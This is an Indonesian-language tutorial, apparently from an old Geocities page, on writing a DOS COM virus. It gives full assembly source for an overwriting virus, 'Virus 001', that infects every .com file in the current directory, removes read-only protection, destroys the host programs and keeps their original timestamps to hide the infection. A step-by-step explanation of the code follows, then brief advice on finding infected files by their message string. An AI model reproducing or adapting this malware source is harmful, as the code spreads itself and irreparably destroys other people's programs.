Membuat Virus dengan Program COM

 

Anda tentunya sudah biasa menulis program dengan bahasa assembly, yang menghasilkan program dengan ektension com. Pada bagian ini, Penulis tidak akan menjelaskan bagaimana Kita menulis atau membuat program dengan ekstension com, tetapi pada bagian ini akan Kita lihat secara teknis, bagaimana program dengan ekstension com itu bekerja. Untuk mempelajari bahasa assembly, anda bisa membaca buku "Belajar Sendiri Pemrograman Bahasa Assembly" keluaran dari gramedia, karena penulis yang sama maka semua programming disini menggunakan gaya yang tetap sama.

 

               Sebelum penulis menjelaskan jalannya program dengan ektension com bekerja, supaya lebih mudah dimengerti maka akan diberikan satu contoh format dasar penulisan program dengan ektension com :

                              .Model Small
                              .Code
                              Org 100h
               Label  :  Jmp Label2
                             Dataku Db ”Tempat Data Program Com”
               Label2:
                             
Mov       AH,09h
                              Lea         DX,Dataku
                              Int           21h
                              Int 20h

               End         Label1

              
Jika Anda perhatikan maka dapat Anda lihat bahwa pada program com yang normal, selalu terdapat perintah .Org 100h yang merupakan perintah agar pada saat program ini dijalankan oleh system operasi disediakan 100h (256) byte kosong. Atau dengan kata lain program com yang Kita buat akan dijalankan pada offset ke 100h atau 256. Mungkin Anda bertanya, untuk apa Kita menyediakan  100h byte kosong ini ? Ke 100h byte kosong ini Kita disiapkan untuk ditempati oleh PSP (Program Segment Prefix) yang dibuat oleh system operasi untuk mengatur jalannya program Kita ini.

Program Segment Prefix (PSP)
               Program Segment Prefix atau yang sering disingkat menjadi PSP, merupakan peninggalan dari era CP/M. PSP yang terdiri atas 100h atau 256 byte ini digunakan untuk menyimpan berbagai informasi yang penting untuk program yang sedang dijalankan.  Berikut adalah strukture dari ke 100h byte PSP dari program :

Offset    Sebanyak              Untuk

00h         2   Byte                 Alamat pemanggilan interupsi 20h
02h         1   Word               Alamat segment dari memory yang disediakan untuk program
04h         1   Byte                 Cadangan
05h         5   Byte                 Alamat pemanggilan interupsi 21h
0Ah        2   Word               Vektor Interupsi 23h
0Eh        2   Word               Vektor Interupsi 23h
12h         2   Word               Vektor Interupsi 24h
16h         22 Byte                 Cadangan
2Ch        1   Word               Alamat segment environment
2Eh        46 Byte                 Cadangan
5Ch        16 Byte                 FCB1
6Ch        16 Byte                 FCB2
80h         1   Byte                 Banyaknya karakter dari baris perintah
81h         127 Byte              Command Line

Pembuatan  Virus 001
               Virus yang pertama ini adalah virus yang akan menyerang semua program dengan ektensi .COM dimana cara kerjanya adalah mencari semua program yang ada didirektory aktif semua program dengan ektensi .COM dan menularkan virus kepadanya. Program yang telah ditulari virus tidak akan bisa berjalan secara normal karena program yang asli telah ditimpa oleh program virus. Virus ini adalah virus yang tidak residen.

               Dari Gambar 1.1. Dapat Anda lihat bahwa virus overwrite akan menimpa dirinya keawal program yang dutulari virus. Virus ini akan merusakkan program yang ditulari. Program yang telah ditulari akan dijaga ukuran aslinya, sehingga kehadiran virus tidak mudah untuk diketahui.

;  Catatan :
;  Virus Overwrite yang akan merusak program yang ditumpangi. Penyebaran hanya pada direktory
;  aktif saja. Program ini tidak residen dan merupakan virus yang paling sederhana.
                              .Model   Small
                              .Code
                              Org         100h
V_Length             equ         last-start
Start                      label       near                       ; Awal Dari Virus
                              mov        ah,4Eh                   ; Cari File Com Pertama
                              mov        dx,offset filename; ds:dx - > Asciiz"*.com"
                              Int           21h
Back :
                             mov        ah,43h                   ; Untuk mendapatkan Atribut File
                             mov        al ,0                       ; ...... idem atas .......
                             mov        dx,9Eh                  ; Awal File Com yang ditemukan
                             int           21h                        ;
                             mov        ah,43h                   ; Ubah Atribut File Yang Ditemukan
                             mov        al,01                     ; ...... idem Atas .......
                             and         cx,11111110b     ; Matikan Read Only
                             int           21h                        ;

                              mov        ax,3D01h              ; Buka file untuk write only
                              mov        dx,9Eh                  ; Nama File Di DTA        
               
              int           21h                        ;

                              mov        bx,ax                     ; Bx = File Handle         
               
              mov        ah,57h                   ; Dapatkan Tanggal File
                              mov        al,0                        ; .... Idem Diatas .....
                              int           21h                       

                              push       cx                          ; Simpan Jam         
               
              push       dx                          ; Simpan Tanggal  
 

                              mov        dx,100h                ; Data Awal Virus  
               
              mov        cx,v_length           ; Panjang Virus      
               
              mov        ah,40h                   ; Tulis Virus Ke File
                              int           21h                       

                              pop         dx                          ; Ambil Data tanggal
                              pop         cx                          ; Ambil Data Jam
                              mov        ah,57h                   ; Set jam dan
                              mov        al,01h                    ; Tanggal File
                              int           21h                       

                              mov        ah,3Eh                   ; Tutup File Tersebut  
               
              int           21h                        ; ........... 

                              mov        ah,4Fh                   ; Cari File Selanjutnya
                              int           21h                       

                              jnc          Back                      ; Jika Ditemukan, Lompat
                              mov        ah,9h                     ; Tulis Pesan
                              mov        dx,offset Data      ; Data Ke Layar
                              int           21h                       

Done:                    int           20h                        ; Terminate Program
Filename              db           "*.com",0
Data                      db           " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last                       label       near
end                        start
 

Cara Kerja Virus :  
                             .Model   Small
                              .Code
                              Org         100h
V_Length             equ         last-start
Start                      label       near                       ; Awal Dari Virus

              
Pada awal program, variable V_Length akan menghitung panjang, atau besarnya program virus  komputer ini. Dengan mengetahui besarnya program virus yang dibuat, maka Kita bisa mengcopy program virus ini kedalam program yang lain. 

  mov        ah,4Eh                   ; Cari File Com Pertama
  mov        dx,offset filename; ds:dx - > Asciiz"*.com"
  Int           21h 

               Pertama-tama, carilah program target yang akan ditulari dengan fungsi dos, dimana register dx menunjukkan file yang akan dicari. pencarian ini hanya akan mencari program “*.com” yang ada didirektory aktif saja, artinya program “*.com” yang terdapat pada direktory lain tidak akan tertular.

Back :

          mov        ah,43h                   ; Untuk mendapatkan Atribut File
          mov        al ,0                       ; ...... idem atas .......
          mov        dx,9Eh                  ; Awal File Com yang ditemukan
          int           21h                        ;
          mov        ah,43h                   ; Ubah Atribut File Yang Ditemukan
          mov        al,01                     ; ...... idem Atas .......
          and         cx,11111110b     ; Matikan Read Only
           int           21h 

        Setelah mendapatkan file yang dicari, bacalah atribut dari file tersebut, untuk mencegah Kita terprotek dalam penulisan file yang mempunyai atribut read-only. Selanjutnya dengan logika ”and”, Kita akan mematikan atribut read-only dari file yang ditemukan sehingga Kita bisa melakukan penulisan pada file tersebut.

  mov        ax,3D01h              ; Buka file untuk write only
  mov        dx,9Eh                  ; Nama File Di DTA
  int           21h                        ;

  mov        bx,ax                     ; Bx = File Handle         
 
mov        ah,57h                   ; Dapatkan Tanggal File
   mov        al,0                        ; .... Idem Diatas .....
   int           21h                        ;

  push       cx                          ; Simpan Jam         
  
push       dx                          ; Simpan Tanggal  

                 Setelah atribut read-only dimatikan, bukalah file tersebut untuk tujuan penulisan virus kedalamnya atau untuk penularannya. Setelah file tersebut dibuka, simpalah handle atau kode file tersebut ke dalam register bx. Selanjutnya, carilah tanggal dan jam dari file yang telah dibuka, kemudian simpanlah hasilnya.

    mov        dx,100h                ; Data Awal Virus  
  
mov        cx,v_length           ; Panjang Virus      
  
mov        ah,40h                   ; Tulis Virus Ke File
   int           21h                        ;

  pop         dx                          ; Ambil Data tanggal
  pop         cx                          ; Ambil Data Jam
   mov        ah,57h                   ; Set jam dan
   mov        al,01h                    ; Tanggal File
   int           21h                        ;

   mov        ah,3Eh                   ; Tutup File Tersebut  
  
int           21h                        ; ...........

             Program dengan ekstension com selalu dimulai pada offset ke 100h (256 Byte) yang disediakan untuk PSP. Maka karena program virus Kita yang pertama juga dengan ekstension com, maka untuk mengcopykan virus ke file yang lain, Kita akan mencopykan data mulai offset ke 100 sebanyak besar virus yang telah ditemukan.

               Setelah itu, aturlah jam dan tanggal dari jam dan tanggal yang telah Kita dapatkan sebelumnya. Kemudian aturlah supaya jam dan tanggal dari program atau file yang telah ditulari virus tidak berubah. Akhirnya, selesailah tugas penyebaran dan tutuplah file tersebut.

 mov        ah,4Fh                   ; Cari File Selanjutnya
  int           21h                        ;
  jnc          Back                      ; Jika Ditemukan, Lompat

               Setelah file pertama ditulari, carilah file selanjutnya dengan ekstension yang sama. Jika ditemukan, maka tularilah file tersebut dengan cara yang sama seperti yang telah dijelaskan sebelumnya. 

                           mov        ah,9h                     ; Tulis Pesan
                           mov        dx,offset Data      ; Data Ke Layar
                           int           21h                        ;

Done:                    int           20h                        ; Terminate Program
Filename              db           "*.com",0
Data                      db           " File Pada Direktory ini Telah Terserang Virus Semuanya$"
Last                       label       near
end                        start 

                 Setelah semua file yang terdapat pada direktory aktif tertular, tampilkanlah pesan kelayar komputer ”File Pada Direktory ini Telah Terserang Virus Semuanya".

Mencegah Dan membasmi Virus 001
               Dari Virus 001 Dapat Anda lihat, bahwa virus ini adalah sebuah virus perusak. program yang telah ditulari tidak akan dapat diobati lagi. Jadi untuk membasmi virus ini tidak ada jalan lain kecuali  dengan menghapus program  Com yang telah ditulari virus. Anda bisa mengecek program tersebut ditularilari virus ini atau tidak dengan mengecek kata ” File Pada Direktory ini Telah Terserang Virus Semuanya”. Bila pada file Anda terdapat kata ini, maka Anda bisa menghapusnya. Untuk mencari kata ini Anda bisa menggunakan cara yang paling mudah, yaitu dengan perintah ”Type” dari dos. Selain itu Anda juga dapat menggunakan perintah ”Find”  dari dos untuk mencari kata-kata tersebut.

               Dari contoh virus yang pertama ini, dapat Anda lihat bahwa dengan mengerti cara kerja dari sebuah virus, Anda bahkan dapat membasminya tanpa programming sama sekali. Dengan memanfaatkan program umum, seperti program find.exe yang disertakan pada saat instalasi dos Anda dapat menjadikannya alat untuk mendeteksi dan membasmi virus. Mudah bukan ?!
Hosted by www.Geocities.ws

1